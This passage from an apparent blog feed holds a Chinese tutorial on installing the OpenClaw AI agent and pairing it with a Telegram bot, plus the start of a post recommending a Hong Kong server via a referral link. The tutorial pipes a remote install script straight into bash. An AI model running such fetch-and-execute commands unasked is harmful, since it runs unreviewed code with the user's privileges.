&lt;li&gt;&lt;strong&gt;Hands（手）&lt;/strong&gt;：执行层，负责运行 shell 命令、操作文件系统、管理浏览器任务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;支持的模型完全灵活——Claude、GPT-4o、Gemini、KIMI或者本地的 Ollama 模型都可以接入。&lt;/p&gt;
&lt;h2&gt;⚠️ 安装前必读：安全提示&lt;/h2&gt;
&lt;p&gt;OpenClaw 是一个&lt;strong&gt;高权限工具&lt;/strong&gt;，能读写文件、执行系统命令，务必注意：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不要装在你的主力个人电脑上&lt;/strong&gt;，尤其是存有工作数据、个人隐私的机器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;推荐装在虚拟机、VPS 、闲置设备或专用设备上面。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;环境要求&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;要求&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;操作系统&lt;/td&gt;
&lt;td&gt;macOS / Linux / Windows（推荐 WSL2）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22+&lt;/strong&gt;（关键，低版本会报错）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存&lt;/td&gt;
&lt;td&gt;建议 8GB+，最低 4GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;建议双核以上&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;此外，确保你的电脑可以科学上网&lt;/p&gt;
&lt;h2&gt;一键安装脚本（最快，推荐新手）&lt;/h2&gt;
&lt;h3&gt;macOS / Linux&lt;/h3&gt;
&lt;p&gt;打开终端，粘贴以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://openclaw.ai/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;脚本会自动检测你的操作系统、验证 Node.js 版本，并启动引导向导。&lt;/p&gt;
&lt;p&gt;加上 &lt;code&gt;--install-daemon&lt;/code&gt; 参数可以将 OpenClaw 注册为后台服务（Linux 用 systemd，macOS 用 launchd），这样重启后它也会自动运行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://openclaw.ai/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;--&lt;span class="w"&gt; &lt;/span&gt;--install-daemon
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;以管理员身份打开 PowerShell，先设置执行策略：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;Set-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;RemoteSigned&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后粘贴官方安装命令（一行）并等待完成。&lt;/p&gt;
&lt;h2&gt;安装后：引导配置（onboarding）&lt;/h2&gt;
&lt;p&gt;安装完成后，运行引导向导进行初始化配置——这一步不能跳过：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw&lt;span class="w"&gt; &lt;/span&gt;onboard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;向导会引导你完成以下配置：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;选择 LLM&lt;/strong&gt;：输入 Claude / GPT / Gemini 的 API Key，或配置 Ollama 本地模型地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择消息平台&lt;/strong&gt;：Telegram、WhatsApp、Discord、Slack 等，按提示完成 Bot 绑定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置权限&lt;/strong&gt;：建议开启 &lt;code&gt;exec.ask: "on"&lt;/code&gt;，让所有命令执行前需要你确认&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择 Node 包管理器&lt;/strong&gt;：用于后续安装 Skills 插件，选 &lt;code&gt;npm&lt;/code&gt; 即可&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;基础配置文件（config.yaml）&lt;/h2&gt;
&lt;p&gt;配置文件位于 &lt;code&gt;~/.openclaw/config.yaml&lt;/code&gt;，以下是关键字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# ⚠️ 务必绑定到 localhost，不要用 0.0.0.0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;18789&lt;/span&gt;

&lt;span class="nt"&gt;ai&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;claude-sonnet-4-6&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 或 gpt-4o、llama3 等&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;2048&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;temperature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;0.7&lt;/span&gt;

&lt;span class="nt"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;ask&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;on&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 命令执行前需要用户确认&lt;/span&gt;

&lt;span class="nt"&gt;platforms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;telegram&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;YOUR_BOT_TOKEN&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;修改后重启网关生效：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;验证安装是否成功&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 检查版本&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;--version

&lt;span class="c1"&gt;# 健康检查（会自动检测配置问题）&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;doctor

&lt;span class="c1"&gt;# 查看网关状态&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;status

&lt;span class="c1"&gt;# 打开浏览器 Dashboard&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;dashboard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;看到版本号且 &lt;code&gt;doctor&lt;/code&gt; 无报错，说明安装成功。&lt;/p&gt;
&lt;h2&gt;日常使用命令速查&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw&lt;span class="w"&gt; &lt;/span&gt;doctor&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;# 自动健康检查&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;# 查看整体状态&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# 重启网关&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;logs&lt;span class="w"&gt; &lt;/span&gt;--follow&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# 实时查看日志&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;# 更新到最新版本&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;dashboard&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# 打开 Web 控制台&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Telegram Bot 绑定：完整步骤&lt;/h2&gt;
&lt;p&gt;完成安装和基础配置后，Telegram 是最推荐优先接入的消息平台——配置最简单、功能也最完整。整个过程分三个阶段：&lt;strong&gt;创建 Bot → 填入 Token → 完成配对&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第一阶段：用 BotFather 创建你的 Bot&lt;/h3&gt;
&lt;p&gt;BotFather 是 Telegram 官方提供的 Bot 管理工具，所有机器人都必须通过它创建。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第 1 步：找到 BotFather&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开 Telegram，在搜索框输入 &lt;code&gt;@BotFather&lt;/code&gt;，选择带蓝色官方认证标志的那个，点击进入对话。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第 2 步：创建新 Bot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在对话框发送命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/newbot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;BotFather 会依次询问两件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bot 的显示名称&lt;/strong&gt;（Name）：这是用户看到的名字，例如 &lt;code&gt;我的AI助手&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bot 的用户名&lt;/strong&gt;（Username）：必须以 &lt;code&gt;bot&lt;/code&gt; 或 &lt;code&gt;_bot&lt;/code&gt; 结尾，例如 &lt;code&gt;myopenclawtest_bot&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第 3 步：保存 Bot Token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;创建成功后，BotFather 会返回一串 Token，格式如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;835019428&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;AAFxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;⚠️ &lt;strong&gt;这个 Token 相当于你的 Bot 密码，务必妥善保存，不要泄露给任何人。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第二阶段：获取你的 Telegram 数字 ID（推荐）&lt;/h3&gt;
&lt;p&gt;为了后续安全配置，建议提前获取你自己的 Telegram 数字 ID（不是用户名，是纯数字的账号标识符）。&lt;/p&gt;
&lt;p&gt;在 Telegram 搜索 &lt;code&gt;@userinfobot&lt;/code&gt;，发送 &lt;code&gt;/start&lt;/code&gt;，它会直接回复你的数字 ID，例如 &lt;code&gt;123456789&lt;/code&gt;。把这个 ID 记下来，后续配置白名单时用得上。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第三阶段：将 Token 填入 OpenClaw 并完成配对&lt;/h3&gt;
&lt;p&gt;这里有两种方式，根据你的安装方式选择其一。&lt;/p&gt;
&lt;h4&gt;方式 A：在引导向导（onboarding）中直接配置&lt;/h4&gt;
&lt;p&gt;如果你还在 &lt;code&gt;openclaw onboard&lt;/code&gt; 引导流程中，向导会在模型配置完成后，自动提示选择消息平台：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Select channel (QuickStart)
● Telegram (Bot API)
○ WhatsApp (QR link)
○ Discord (Bot API)
○ Slack (Socket Mode)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;选择 &lt;code&gt;Telegram (Bot API)&lt;/code&gt;，然后将 BotFather 给你的 Token 粘贴进去，向导会自动验证并完成配置。&lt;/p&gt;
&lt;h4&gt;方式 B：通过 config.yaml 手动配置&lt;/h4&gt;
&lt;p&gt;如果已经完成安装，打开配置文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nano&lt;span class="w"&gt; &lt;/span&gt;~/.openclaw/config.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;找到 &lt;code&gt;channels&lt;/code&gt; 部分，填入以下内容（或新增）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;channels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;telegram&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;botToken&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;835019428:AAFxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 替换成你的真实 Token&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;dmPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pairing&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 推荐：新用户需配对才能使用&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;保存后重启网关：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;第四阶段：完成账号配对（Pairing）&lt;/h3&gt;
&lt;p&gt;配置 Token 只是让 OpenClaw 知道"用哪个 Bot"，还需要告诉它"这个 Bot 允许哪个账号使用"。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第 1 步：给你的 Bot 发消息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开 Telegram，搜索你刚创建的 Bot 用户名（例如 &lt;code&gt;@myopenclawtest_bot&lt;/code&gt;），点击进入对话，发送 &lt;code&gt;/start&lt;/code&gt; 或任意一条消息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第 2 步：获取配对码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bot 会回复一条含有配对码的消息，格式类似：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;![]&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;fastly&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jsdelivr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gh&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bucketio&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;img13&lt;/span&gt;&lt;span class="nv"&gt;@main&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1772085753312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="n"&gt;bbe305&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cb44&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;46e5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;981&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;61e76297&lt;/span&gt;&lt;span class="n"&gt;f29d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;Your&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pairing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JN4MSY23&lt;/span&gt;
&lt;span class="err"&gt;（&lt;/span&gt;&lt;span class="n"&gt;此码&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;小时内有效&lt;/span&gt;&lt;span class="err"&gt;）&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;第 3 步：在服务端批准配对&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;方法一——在终端运行命令（将 &lt;code&gt;JN4MSY23&lt;/code&gt; 替换成你收到的配对码）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw&lt;span class="w"&gt; &lt;/span&gt;pairing&lt;span class="w"&gt; &lt;/span&gt;approve&lt;span class="w"&gt; &lt;/span&gt;telegram&lt;span class="w"&gt; &lt;/span&gt;JN4MSY23
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;方法二——在 Web Dashboard 的聊天框中输入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw pairing approve telegram JN4MSY23
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;批准成功后，终端和 Telegram 都会收到确认消息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;✅ Approved telegram sender 123456789. Now you can chat with the bot!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;第 4 步：发送测试消息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;回到 Telegram，给你的 Bot 发一条消息，例如 &lt;code&gt;你好，介绍一下你自己&lt;/code&gt;。Bot 正常回复，说明整条链路已打通。&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://fastly.jsdelivr.net/gh/bucketio/img13@main/2026/02/26/1772085798857-4e10849e-c99d-44e6-9fa3-2e3b06fb3da1.png"&gt;&lt;/p&gt;
&lt;h3&gt;Telegram 绑定常见问题&lt;/h3&gt;
&lt;p&gt;我遇到的一个问题刚开始给Bot发消息，一直没有任何回复，看日志是因为网络连接问题，虽然我配置了代理，但是OpenClaw没有走代理模式。&lt;/p&gt;
&lt;p&gt;正确配置方法&lt;/p&gt;
&lt;p&gt;编辑文件 &lt;code&gt;~/Library/LaunchAgents/ai.openclaw.gateway.plist&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;找到 &lt;dict&gt; 部分，在里面添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;EnvironmentVariables&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;HTTPS_PROXY&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;http://127.0.0.1:1088&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;HTTP_PROXY&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;http://127.0.0.1:1088&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这种方式可以让所有 HTTP 请求（包括 Telegram、Anthropic API 等）都走代理 http://127.0.0.1:1088&lt;/p&gt;
&lt;p&gt;还有一种方式在openclaw.json中配置，只要telegram走代理，找到 openclaw.jsonh中 channels中 telegram模块，指定代理&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;  &amp;quot;telegram&amp;quot;: {
      &amp;quot;enabled&amp;quot;: true,
      &amp;quot;dmPolicy&amp;quot;: &amp;quot;pairing&amp;quot;,
      &amp;quot;botToken&amp;quot;: &amp;quot;711xxxxx&amp;quot;,
      &amp;quot;groupPolicy&amp;quot;: &amp;quot;allowlist&amp;quot;,
      &amp;quot;streamMode&amp;quot;: &amp;quot;partial&amp;quot;,
      &amp;quot;proxy&amp;quot;: &amp;quot;http://127.0.0.1:1088&amp;quot;  # 添加这一行
    }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后重启：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openclaw gateway restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;OpenClaw 代表的不是又一个聊天工具，而是"&lt;strong&gt;AI 代理&lt;/strong&gt;"这个范式在个人侧的落地实践——它能持久运行、主动触发、真实执行，而不只是给你一段文字。&lt;/p&gt;
&lt;p&gt;安装只是第一步。真正有意思的是：当你把它和一个真实的工作流打通之后，那种"AI 自己干活"的感觉才会真正出现。&lt;/p&gt;
&lt;p&gt;建议从一件小事开始：配置一个消息平台，写一个简单的定时任务，感受一下 AI 主动来找你汇报结果是什么体验。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;如果觉得有用，欢迎分享给同样在探索 AI 工具的朋友。有问题也欢迎留言交流。_&lt;/p&gt;</content><category term="思考"/></entry><entry><title>靠谱又不贵的香港服务器如何推荐</title><link href="https://foofish.net/hongkong-blog-server.html" rel="alternate"/><published>2026-01-23T16:09:01+08:00</published><updated>2026-01-23T16:09:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-01-23:/hongkong-blog-server.html</id><summary type="html">&lt;p&gt;嗨，大家好啊&lt;/p&gt;
&lt;p&gt;我的个人博客最近提示服务器即将到期，刚好今天看了一圈云服务器。&lt;/p&gt;
&lt;p&gt;之前博客一直是挂在阿里云的，和其他 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;嗨，大家好啊&lt;/p&gt;
&lt;p&gt;我的个人博客最近提示服务器即将到期，刚好今天看了一圈云服务器。&lt;/p&gt;
&lt;p&gt;之前博客一直是挂在阿里云的，和其他服务共用一台服务器，去年因为拖延症需要补一个什么操作现在已经忘记了，结果没及时处理过期了，后来想要重新备案就很麻烦，于是就想把博客迁移到不需要备案的地区。&lt;/p&gt;
&lt;p&gt;因为是静态博客，虽然有很多免费方案，但是考虑到体验，还是希望访问速度不要太慢，所以首选香港，刚好看Ucloud对新用户优惠力度蛮大，一年才50多，就选了他。今年续费发现要400多，看起来不贵，如果每年400多，还是有点肉疼。&lt;/p&gt;
&lt;p&gt;今天又搜了一圈，首先排除国外厂商，访问速度慢就不说了，IP还经常被封，看了阿里云、华为、腾讯都不便宜，价格400到800多不等。&lt;/p&gt;
&lt;p&gt;选来选去，发现硅云这家公司，之前并没有听说过，查了发现是一家国内专门做出海云服务器的公司，虽然规模不大，但与中国电信、中国联通、中国移动、这些运营商都有合作。&lt;/p&gt;
&lt;p&gt;试了一下网络延迟，其实国内云服务器厂商没有明显区别。关键价格还能接受，0.5G内存的176/年，1G内存199/年。对于我来说，部署一个静态服务器，选最便宜的足够了。&lt;/p&gt;
&lt;p&gt;体验地址：https://www.vpsor.cn/activity/cloudsite?userCode=hh2a9fc&lt;/p&gt;
